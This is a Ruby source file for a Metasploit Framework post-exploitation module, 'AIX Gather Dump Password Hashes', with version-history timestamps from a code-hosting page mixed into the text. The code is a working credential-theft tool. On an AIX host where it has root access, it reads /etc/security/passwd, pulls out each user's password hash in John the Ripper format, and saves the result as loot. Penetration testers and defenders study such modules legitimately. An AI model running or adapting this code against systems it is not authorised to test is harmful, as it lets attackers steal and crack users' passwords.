metasploit-framework/modules/post/aix/hashdump.rb

59 lines
1.3 KiB
Ruby
Raw Normal View History

##
2013-10-15 19:52:12 +00:00
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
class Metasploit3 < Msf::Post
2013-09-05 18:41:25 +00:00
include Msf::Post::File
include Msf::Post::Linux::Priv
2013-08-30 21:28:54 +00:00
def initialize(info={})
super( update_info( info,
'Name' => 'AIX Gather Dump Password Hashes',
'Description' => %q{ Post Module to dump the password hashes for all users on an AIX System},
'License' => MSF_LICENSE,
'Author' => ['theLightCosine'],
'Platform' => [ 'aix' ],
'SessionTypes' => [ 'shell' ]
))
2013-08-30 21:28:54 +00:00
end
2013-08-30 21:28:54 +00:00
def run
if is_root?
passwd_file = read_file("/etc/security/passwd")
jtr = parse_aix_passwd(passwd_file)
p = store_loot("aix.hashes", "text/plain", session, jtr, "aix_passwd.txt", "AIX Password File")
vprint_status("Passwd saved in: #{p.to_s}")
else
print_error("You must run this module as root!")
end
2013-08-30 21:28:54 +00:00
end
2013-08-30 21:28:54 +00:00
def parse_aix_passwd(aix_file)
jtr_file = ""
tmp = ""
aix_file.each_line do |line|
username = line.match(/(\w+:)/)
if username
tmp = username[0]
end
hash = line.match(/password = (\w+)/)
if hash
tmp << hash[1]
jtr_file << "#{tmp}\n"
end
end
return jtr_file
end
end